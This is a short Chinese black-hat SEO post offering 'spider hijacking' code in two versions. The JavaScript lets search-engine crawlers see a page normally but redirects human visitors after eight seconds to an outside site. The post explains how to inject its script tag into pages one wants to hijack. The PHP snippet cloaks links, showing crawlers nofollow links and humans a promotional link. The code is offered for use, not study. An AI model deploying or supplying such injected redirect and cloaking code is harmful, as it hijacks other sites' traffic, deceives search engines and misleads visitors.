黑帽SEO蜘蛛劫持跳轉代碼(附js和php兩個版本劫持代碼)
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這是一段使用頻率比較高的黑帽SEO蜘蛛劫持跳轉代碼,使用的時候只需要將下面代碼放到一個js里面,如a.js,然后把這個代碼上傳到對應的目錄,想劫持哪些頁面的蜘蛛,就把諸如<script type="text/javascript" src="www.yetiskinlerchat.com/x/a.js"></script>放到對應的頁面里面即可。
var _agent = navigator.userAgent;
var _search = ['Baiduspider','Baiduspider-image','baidu Transcoder','YodaoBot','Googlebot','Googlebot-Image','FeedBurner','AdsBot-Google-Mobile','Sogou web spider','Sogou-Test-Spider','Yahoo! Slurp','Yahoo! Slurp China','bingbot','Sosospider','Sosoimagespider','360Spider','YoudaoBot','EasouSpider','YandexBot','Speedy Spider','xFruits','Feedly','360spider'];
var _mark = true;
for (var i=0;i<_search.length;i++) {
if (_agent.search(_search[i])!=-1) {
_mark = false;
}
}
if (_mark == true) {
setTimeout(sleeptime,8000);
function sleeptime() {
location.href="http://www.yetiskinlerchat.com/";
}
}
--------------------------- <?php $key= $_SERVER["HTTP_USER_AGENT"]; if(strpos($key,'oogle')!== false||strpos($key,'aidu')!==false) { echo '<li><a href="http://www.baidu.com" rel="nofollow">百度</a> <a href="http://www.sogou.com" rel="nofollow">搜狗</a></li> '; } else { echo '<li><a href="http://www.baidu.com">百度</a> <a href="http://www.yetiskinlerchat.com">樂天SEO培訓中心</a></li>'; } ?>